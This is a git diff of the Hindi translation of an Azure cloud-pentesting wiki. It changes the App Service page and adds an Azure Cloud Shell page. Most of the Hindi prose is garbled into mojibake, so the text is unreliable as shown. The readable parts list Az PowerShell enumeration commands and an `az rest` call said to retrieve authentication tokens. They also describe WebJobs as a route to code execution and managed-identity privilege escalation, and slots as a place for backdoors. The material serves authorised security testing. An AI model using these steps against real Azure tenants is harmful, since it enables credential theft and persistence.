рд╣реИ** рддрд╛рдХрд┐ рдПрдХ App Service рдХрд╛ рдкреНрд░рдмрдВрдзрди рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ, рдФрд░ Git-рдЖрдзрд╛рд░рд┐рдд рддреИрдирд╛рддрд┐рдпреЛрдВ, рджреВрд░рд╕реНрде рдбреАрдмрдЧрд┐рдВрдЧ, рдФрд░ рдлрд╝рд╛рдЗрд▓ рдкреНрд░рдмрдВрдзрди рдХреНрд╖рдорддрд╛рдПрдБ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдпрд╣ рд╡реЗрдм рдРрдк рдореЗрдВ рдкрд░рд┐рднрд╛рд╖рд┐рдд SCM URL рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реБрд▓рдн рд╣реИред рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ App Services рдФрд░ Function Apps рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ Kudu рд╕рдВрд╕реНрдХрд░рдг рднрд┐рдиреНрди рд╣реИрдВ, Function apps рдХрд╛ рд╕рдВрд╕реНрдХрд░рдг рдмрд╣реБрдд рдЕрдзрд┐рдХ рд╕реАрдорд┐рдд рд╣реИред @@ -56,9 +56,9 @@ Kudu рдореЗрдВ рдЖрдк рдХреБрдЫ рджрд┐рд▓рдЪрд╕реНрдк рдПрдВрдбрдкреЙрдЗрдВрдЯ ## Sources -App Services рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдХреЛрдб рдХреЛ рдПрдХ рдЬрд╝рд┐рдк рдлрд╝рд╛рдЗрд▓ рдХреЗ рд░реВрдк рдореЗрдВ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдпрд╣ рдПрдХ рддреАрд╕рд░реЗ рдкрдХреНрд╖ рдХреА рд╕реЗрд╡рд╛ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдФрд░ рд╡рд╣рд╛рдВ рд╕реЗ рдХреЛрдб рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рднреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред +App Services рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдХреЛрдб рдХреЛ рдПрдХ рдЬрд╝рд┐рдк рдлрд╝рд╛рдЗрд▓ рдХреЗ рд░реВрдк рдореЗрдВ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдпрд╣ рдПрдХ рддреГрддреАрдп рдкрдХреНрд╖ рд╕реЗрд╡рд╛ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдФрд░ рд╡рд╣рд╛рдВ рд╕реЗ рдХреЛрдб рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рднреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред -- рд╡рд░реНрддрдорд╛рди рдореЗрдВ рд╕рдорд░реНрдерд┐рдд рддреАрд╕рд░реЗ рдкрдХреНрд╖ рдХреЗ рд╕реНрд░реЛрдд **Github** рдФрд░ **Bitbucket** рд╣реИрдВред +- рд╡рд░реНрддрдорд╛рди рдореЗрдВ рд╕рдорд░реНрдерд┐рдд рддреГрддреАрдп рдкрдХреНрд╖ рд╕реНрд░реЛрдд **Github** рдФрд░ **Bitbucket** рд╣реИрдВред - рдЖрдк `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"` рдЪрд▓рд╛рдХрд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдЯреЛрдХрди рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред - Azure рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рд╣рд░ рдмрд╛рд░ рдХреЛрдб рдЕрдкрдбреЗрдЯ рд╣реЛрдиреЗ рдкрд░ App Service рдкрд░ рдХреЛрдб рддреИрдирд╛рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ **Github Action** рд╕реЗрдЯрдЕрдк рдХрд░реЗрдЧрд╛ред - рдпрд╣ рд╡рд╣рд╛рдБ рд╕реЗ рдХреЛрдб рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ **рджреВрд░рд╕реНрде git рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА** (рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рд╕рд╛рде) рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рдирд╛ рднреА рд╕рдВрднрд╡ рд╣реИред @@ -72,22 +72,22 @@ App Services рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдХреЛрдб рдХреЛ рдПрдХ Azure WebJobs **Azure App Service рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдЪрд▓рдиреЗ рд╡рд╛рд▓реЗ рдмреИрдХрдЧреНрд░рд╛рдЙрдВрдб рдХрд╛рд░реНрдп** рд╣реИрдВред рд╡реЗ рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЛ рдЕрдкрдиреЗ рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рдиреЛрдВ рдХреЗ рд╕рд╛рде рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдпрд╛ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдЪрд▓рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдлрд╝рд╛рдЗрд▓ рдкреНрд░рд╕рдВрд╕реНрдХрд░рдг, рдбреЗрдЯрд╛ рд╣реИрдВрдбрд▓рд┐рдВрдЧ, рдпрд╛ рдЕрдиреБрд╕реВрдЪрд┐рдд рдХрд╛рд░реНрдпреЛрдВ рдЬреИрд╕реЗ рдЕрд╕рд┐рдВрдХреНрд░реЛрдирд╕ рдпрд╛ рд╕рдордп-рдЧрд╣рди рд╕рдВрдЪрд╛рд▓рди рдХреЛ рд╕рдВрднрд╛рд▓рдирд╛ рдЖрд╕рд╛рди рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред рд╡реЗрдм рдЬреЙрдм рдХреЗ 2 рдкреНрд░рдХрд╛рд░ рд╣реЛрддреЗ рд╣реИрдВ: -- **рдирд┐рд░рдВрддрд░**: рдпрд╣ рдЕрдирдВрдд рдХрд╛рд▓ рддрдХ рдПрдХ рд▓реВрдк рдореЗрдВ рдЪрд▓рддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ рддреБрд░рдВрдд рдмрдирд╛рдпрд╛ рдЬрд╛рдиреЗ рдкрд░ рдЯреНрд░рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдЙрди рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдЖрджрд░реНрд╢ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ рдирд┐рд░рдВрддрд░ рдкреНрд░рд╕рдВрд╕реНрдХрд░рдг рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрджрд┐ рдРрдк рдЪрд▓рдирд╛ рдмрдВрдж рдХрд░ рджреЗрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рд╣рдореЗрд╢рд╛ рдЪрд╛рд▓реВ рдмрдВрдж рд╣реИ рдФрд░ рдЗрд╕реЗ рдкрд┐рдЫрд▓реЗ 20 рдорд┐рдирдЯ рдореЗрдВ рдХреЛрдИ рдЕрдиреБрд░реЛрдз рдирд╣реАрдВ рдорд┐рд▓рд╛ рд╣реИ, рддреЛ рд╡реЗрдм рдЬреЙрдм рднреА рд░реБрдХ рдЬрд╛рдПрдЧрд╛ред +- **рдирд┐рд░рдВрддрд░**: рдпрд╣ рдЕрдирд┐рд╢реНрдЪрд┐рддрдХрд╛рд▓ рддрдХ рдПрдХ рд▓реВрдк рдореЗрдВ рдЪрд▓рддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ рддреБрд░рдВрдд рдмрдирд╛рдпрд╛ рдЬрд╛рдиреЗ рдкрд░ рдЯреНрд░рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдЙрди рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдЖрджрд░реНрд╢ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ рдирд┐рд░рдВрддрд░ рдкреНрд░рд╕рдВрд╕реНрдХрд░рдг рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрджрд┐ рдРрдк рдЪрд▓рдирд╛ рдмрдВрдж рдХрд░ рджреЗрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рд╣рдореЗрд╢рд╛ рдЪрд╛рд▓реВ рдЕрдХреНрд╖рдо рд╣реИ рдФрд░ рдЗрд╕реЗ рдкрд┐рдЫрд▓реЗ 20 рдорд┐рдирдЯ рдореЗрдВ рдХреЛрдИ рдЕрдиреБрд░реЛрдз рдирд╣реАрдВ рдорд┐рд▓рд╛ рд╣реИ, рддреЛ рд╡реЗрдм рдЬреЙрдм рднреА рд░реБрдХ рдЬрд╛рдПрдЧрд╛ред - **рдЯреНрд░рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛**: рдпрд╣ рдорд╛рдВрдЧ рдкрд░ рдпрд╛ рдПрдХ рд╢реЗрдбреНрдпреВрд▓ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдЪрд▓рддрд╛ рд╣реИред рдпрд╣ рдЖрд╡рдзрд┐рдХ рдХрд╛рд░реНрдпреЛрдВ, рдЬреИрд╕реЗ рдмреИрдЪ рдбреЗрдЯрд╛ рдЕрдкрдбреЗрдЯ рдпрд╛ рд░рдЦрд░рдЦрд╛рд╡ рджрд┐рдирдЪрд░реНрдпрд╛ рдХреЗ рд▓рд┐рдП рд╕рдмрд╕реЗ рдЙрдкрдпреБрдХреНрдд рд╣реИред Webjobs рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЗ рджреГрд╖реНрдЯрд┐рдХреЛрдг рд╕реЗ рдмрд╣реБрдд рджрд┐рд▓рдЪрд╕реНрдк рд╣реЛрддреЗ рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рдЙрдирдХрд╛ рдЙрдкрдпреЛрдЧ **рдкрд░реНрдпрд╛рд╡рд░рдг рдореЗрдВ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ** рдФрд░ **рд╕рдВрд▓рдЧреНрди рдкреНрд░рдмрдВрдзрд┐рдд рдкрд╣рдЪрд╛рди** рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред -рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, Webjobs рджреНрд╡рд╛рд░рд╛ рдЙрддреНрдкрдиреНрди **рд▓реЙрдЧ** рдХреА рдЬрд╛рдВрдЪ рдХрд░рдирд╛ рд╣рдореЗрд╢рд╛ рджрд┐рд▓рдЪрд╕реНрдк рд╣реЛрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ **рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА** рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред +рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, Webjobs рджреНрд╡рд╛рд░рд╛ рдЙрддреНрдкрдиреНрди **рд▓реЙрдЧ** рдХреА рдЬрд╛рдВрдЪ рдХрд░рдирд╛ рд╣рдореЗрд╢рд╛ рджрд┐рд▓рдЪрд╕реНрдк рд╣реЛрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ **рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА** рд░рдЦ рд╕рдХрддреЗ рд╣реИрдВред ## Slots Azure App Service Slots рдХрд╛ рдЙрдкрдпреЛрдЧ **рдПрдХ рд╣реА App Service рдкрд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рд╡рд┐рднрд┐рдиреНрди рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдХреЛ рддреИрдирд╛рдд рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЛ рдЙрддреНрдкрд╛рджрди рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рддреИрдирд╛рдд рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдПрдХ рдЕрд▓рдЧ рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдирдИ рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдпрд╛ рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред -рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдПрдХ рд╡рд┐рд╢реЗрд╖ рд╕реНрд▓реЙрдЯ рдХреЗ рд▓рд┐рдП **рдЯреНрд░реИрдлрд╝рд┐рдХ рдХрд╛ рдПрдХ рдкреНрд░рддрд┐рд╢рдд** рд░реВрдЯ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рдЬреЛ A/B рдкрд░реАрдХреНрд╖рдг рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реИ, рдФрд░ **рдмреИрдХрдбреЛрд░ рдЙрджреНрджреЗрд╢реНрдпреЛрдВ** рдХреЗ рд▓рд┐рдПред +рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕реНрд▓реЙрдЯ рдХреЗ рд▓рд┐рдП **рдЯреНрд░реИрдлрд╝рд┐рдХ рдХрд╛ рдкреНрд░рддрд┐рд╢рдд** рд░реВрдЯ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рдЬреЛ A/B рдкрд░реАрдХреНрд╖рдг рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реИ, рдФрд░ **рдмреИрдХрдбреЛрд░ рдЙрджреНрджреЗрд╢реНрдпреЛрдВ** рдХреЗ рд▓рд┐рдПред ## Azure Function Apps -рдмреБрдирд┐рдпрд╛рджреА рд░реВрдк рд╕реЗ **Azure Function apps Azure App Service рдХрд╛ рдПрдХ рдЙрдкрд╕рдореБрдЪреНрдЪрдп рд╣реИрдВ** рд╡реЗрдм рдХрдВрд╕реЛрд▓ рдореЗрдВ рдФрд░ рдпрджрд┐ рдЖрдк рд╡реЗрдм рдХрдВрд╕реЛрд▓ рдкрд░ рдЬрд╛рддреЗ рд╣реИрдВ рдФрд░ рд╕рднреА рдРрдк рд╕реЗрд╡рд╛рдУрдВ рдХреА рд╕реВрдЪреА рдмрдирд╛рддреЗ рд╣реИрдВ рдпрд╛ `az webapp list` рдХреЛ az cli рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк **рд╡рд╣рд╛рдБ рд╕реВрдЪреАрдмрджреНрдз рдлрд╝рдВрдХреНрд╢рди рдРрдкреНрд╕ рдХреЛ рднреА рджреЗрдЦ рдкрд╛рдПрдВрдЧреЗ**ред +рдмреБрдирд┐рдпрд╛рджреА рд░реВрдк рд╕реЗ **Azure Function apps Azure App Service рдХрд╛ рдПрдХ рдЙрдкрд╕рдореБрдЪреНрдЪрдп рд╣реИрдВ** рд╡реЗрдм рдХрдВрд╕реЛрд▓ рдореЗрдВ рдФрд░ рдпрджрд┐ рдЖрдк рд╡реЗрдм рдХрдВрд╕реЛрд▓ рдкрд░ рдЬрд╛рддреЗ рд╣реИрдВ рдФрд░ рд╕рднреА рдРрдк рд╕реЗрд╡рд╛рдУрдВ рдХреА рд╕реВрдЪреА рдмрдирд╛рддреЗ рд╣реИрдВ рдпрд╛ az cli рдореЗрдВ `az webapp list` рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк **рд╡рд╣рд╛рдБ рд╕реВрдЪреАрдмрджреНрдз рдлрд╝рдВрдХреНрд╢рди рдРрдкреНрд╕ рдХреЛ рднреА рджреЗрдЦ рдкрд╛рдПрдВрдЧреЗ**ред рдЗрд╕рд▓рд┐рдП, рджреЛрдиреЛрдВ рд╕реЗрд╡рд╛рдУрдВ рдореЗрдВ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдЬреНрдпрд╛рджрд╛рддрд░ **рдПрдХ рд╕рдорд╛рди рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди, рд╕реБрд╡рд┐рдзрд╛рдПрдБ рдФрд░ рд╡рд┐рдХрд▓реНрдк рд╣реЛрддреЗ рд╣реИрдВ az cli рдореЗрдВ**, рд╣рд╛рд▓рд╛рдБрдХрд┐ рд╡реЗ рдЙрдиреНрд╣реЗрдВ рдереЛрдбрд╝рд╛ рдЕрд▓рдЧ рддрд░реАрдХреЗ рд╕реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдЬреИрд╕реЗ appsettings рдХреЗ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдорд╛рди рдпрд╛ рдлрд╝рдВрдХреНрд╢рди рдРрдкреНрд╕ рдореЗрдВ рд╕реНрдЯреЛрд░реЗрдЬ рдЕрдХрд╛рдЙрдВрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ)ред @@ -181,10 +181,55 @@ az webapp hybrid-connections list --name --resource-group {{#tab name="Az Powershell" }} ```bash +Get-Command -Module Az.Websites + # Get App Services and Function Apps Get-AzWebApp # Get only App Services Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"} + +# Retrieves details of a specific App Service Environment in the specified resource group. +Get-AzAppServiceEnvironment -ResourceGroupName -Name +# Retrieves the access restriction configuration for a specified Web App. +Get-AzWebAppAccessRestrictionConfig -ResourceGroupName -Name +# Retrieves the SSL certificates for a specified resource group. +Get-AzWebAppCertificate -ResourceGroupName +# Retrieves the continuous deployment URL for a containerized Web App. +Get-AzWebAppContainerContinuousDeploymentUrl -ResourceGroupName -Name +# Retrieves the list of continuous WebJobs for a specified Web App. +Get-AzWebAppWebJob -ResourceGroupName -AppName +# Retrieves the list of triggered WebJobs for a specified Web App. +Get-AzWebAppTriggeredWebJob -ResourceGroupName -AppName + +# Retrieves details of a deleted Web App in the specified resource group. +Get-AzDeletedWebApp -ResourceGroupName -Name +# Retrieves a list of snapshots for a specified Web App. +Get-AzWebAppSnapshot -ResourceGroupName -Name +# Retrieves the history of a specific triggered WebJob for a Web App. +Get-AzWebAppTriggeredWebJobHistory -ResourceGroupName -AppName -Name + +# Retrieves information about deployment slots for a specified Web App. +Get-AzWebAppSlot -ResourceGroupName -Name +# Retrieves the continuous WebJobs for a specific deployment slot of a Web App. +Get-AzWebAppSlotWebJob -ResourceGroupName -AppName -SlotName +# Retrieves the triggered WebJobs for a specific deployment slot of a Web App. +Get-AzWebAppSlotTriggeredWebJob -ResourceGroupName -AppName -SlotName +# Retrieves the history of a specific triggered WebJob for a deployment slot of a Web App. +Get-AzWebAppSlotTriggeredWebJobHistory -ResourceGroupName -AppName -SlotName -Name +# Retrieves the continuous WebJobs for a Web App. +Get-AzWebAppContinuousWebJob -ResourceGroupName -AppName +# Retrieves the continuous WebJobs for a specific deployment slot of a Web App. +Get-AzWebAppSlotContinuousWebJob -ResourceGroupName -AppName -SlotName + +# Retrieves the traffic routing rules for a Web App. +Get-AzWebAppTrafficRouting -ResourceGroupName -WebAppName -RuleName + +# Retrieves details of a specific backup for a Web App. +Get-AzWebAppBackup -ResourceGroupName -Name -BackupId +# Retrieves the backup configuration for a Web App. +Get-AzWebAppBackupConfiguration -ResourceGroupName -Name +# Retrieves the list of all backups for a Web App. +Get-AzWebAppBackupList -ResourceGroupName -Name ``` {{#endtab }} @@ -225,9 +270,9 @@ done ../az-privilege-escalation/az-app-services-privesc.md {{#endref}} -## рд╡реЗрдм рдРрдкреНрд╕ рдмрдирд╛рдиреЗ рдХреЗ рдЙрджрд╛рд╣рд░рдг +## Web Apps рдмрдирд╛рдиреЗ рдХреЗ рдЙрджрд╛рд╣рд░рдг -### рд╕реНрдерд╛рдиреАрдп рд╕реЗ рдкрд╛рдпрдерди +### рд╕реНрдерд╛рдиреАрдп рд╕реЗ Python рдпрд╣ рдЯреНрдпреВрдЯреЛрд░рд┐рдпрд▓ [https://learn.microsoft.com/en-us/azure/app-service/quickstart-python](https://learn.microsoft.com/en-us/azure/app-service/quickstart-python?tabs=flask%2Cwindows%2Cazure-cli%2Cazure-cli-deploy%2Cdeploy-instructions-azportal%2Cterminal-bash%2Cdeploy-instructions-zip-azcli) рд╕реЗ рдЖрдзрд╛рд░рд┐рдд рд╣реИред ```bash @@ -258,13 +303,13 @@ SCM рдкреЛрд░реНрдЯрд▓ рдореЗрдВ рд▓реЙрдЧрд┐рди рдХрд░рдиреЗ рдпрд╛ FTP рдХреЗ > [!TIP] > рдХреЗрд╡рд▓ FTP рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдирд╛ рдФрд░ рдлрд╝рд╛рдЗрд▓ `output.tar.gz` рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдирд╛ рдФрд░ рдПрдХ рдбрд┐рдкреНрд▓реЙрдпрдореЗрдВрдЯ рдХреЛ рдлрд┐рд░ рд╕реЗ рдЯреНрд░рд┐рдЧрд░ рдХрд░рдирд╛ рд╡реЗрдм рдРрдк рджреНрд╡рд╛рд░рд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХреЛрдб рдХреЛ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рдирд╣реАрдВ рд╣реИред -## рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ +## Privilege Escalation {{#ref}} ../az-privilege-escalation/az-app-services-privesc.md {{#endref}} -## рд╕рдВрджрд░реНрдн +## References - [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview) - [https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans](https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans) diff --git a/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md b/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md new file mode 100644 index 000000000..b2ec15395 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md @@ -0,0 +1,58 @@ +# Az - Cloud Shell + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** ЁЯТм [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** ЁЯРж [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+{% endhint %} + +## Azure Cloud Shell + +**Azure Cloud Shell** рдПрдХ рдЗрдВрдЯрд░реИрдХреНрдЯрд┐рд╡, рдкреНрд░рдорд╛рдгрд┐рдд, рдмреНрд░рд╛рдЙрдЬрд╝рд░-рдПрдХреНрд╕реЗрд╕рд┐рдмрд▓ рдЯрд░реНрдорд┐рдирд▓ рд╣реИ рдЬрд┐рд╕реЗ Azure рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХрд╛ рдкреНрд░рдмрдВрдзрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬреЛ Bash рдпрд╛ PowerShell рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреА рд▓рдЪреАрд▓рд╛рдкрди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдПрдХ рдЕрд╕реНрдерд╛рдпреА, рдкреНрд░рддрд┐-рд╕реЗрд╢рди рд╣реЛрд╕реНрдЯ рдкрд░ рдЪрд▓рддрд╛ рд╣реИ рдЬреЛ 20 рдорд┐рдирдЯ рдХреА рдирд┐рд╖реНрдХреНрд░рд┐рдпрддрд╛ рдХреЗ рдмрд╛рдж рдЯрд╛рдЗрдордЖрдЙрдЯ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрдмрдХрд┐ $HOME рд╕реНрдерд╛рди рдореЗрдВ 5-GB рдлрд╝рд╛рдЗрд▓ рд╢реЗрдпрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдмрдирд╛рдП рд░рдЦрддрд╛ рд╣реИред Cloud Shell рдХреЛ рдХрдИ рдмрд┐рдВрджреБрдУрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ Azure рдкреЛрд░реНрдЯрд▓, shell.azure.com, Azure CLI рдФрд░ PowerShell рджрд╕реНрддрд╛рд╡реЗрдЬрд╝, Azure рдореЛрдмрд╛рдЗрд▓ рдРрдк, рдФрд░ Visual Studio Code Azure рдЦрд╛рддрд╛ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рд╢рд╛рдорд┐рд▓ рд╣реИрдВред + +рдЗрд╕ рд╕реЗрд╡рд╛ рдХреЗ рд▓рд┐рдП рдХреЛрдИ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдирд╣реАрдВ рдХреА рдЧрдИ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдХреЛрдИ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рддрдХрдиреАрдХреЗрдВ рдирд╣реАрдВ рд╣реИрдВред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдХреЛрдИ рдкреНрд░рдХрд╛рд░ рдХреА рдЧрдгрдирд╛ рдирд╣реАрдВ рд╣реИред + +### Key Features + +**Environment**:Azure Cloud Shell рдПрдХ рд╕реБрд░рдХреНрд╖рд┐рдд рд╡рд╛рддрд╛рд╡рд░рдг рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ Azure Linux рдкрд░ рдЪрд▓рддрд╛ рд╣реИ, рдЬреЛ Microsoft рдХрд╛ рдЕрдкрдирд╛ Linux рд╡рд┐рддрд░рдг рд╣реИ рдЬрд┐рд╕реЗ рдХреНрд▓рд╛рдЙрдб рдЕрд╡рд╕рдВрд░рдЪрдирд╛ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред Azure Linux рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╕рднреА рдкреИрдХреЗрдЬ Microsoft рджреНрд╡рд╛рд░рд╛ рдЖрдВрддрд░рд┐рдХ рд░реВрдк рд╕реЗ рд╕рдВрдХрд▓рд┐рдд рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдЖрдкреВрд░реНрддрд┐ рд╢реНрд░реГрдВрдЦрд▓рд╛ рд╣рдорд▓реЛрдВ рд╕реЗ рд╕реБрд░рдХреНрд╖рд╛ рдХреА рдЬрд╛ рд╕рдХреЗред +**Preinstalled Tools**: Cloud Shell рдореЗрдВ Azure CLI, Azure PowerShell, Terraform, 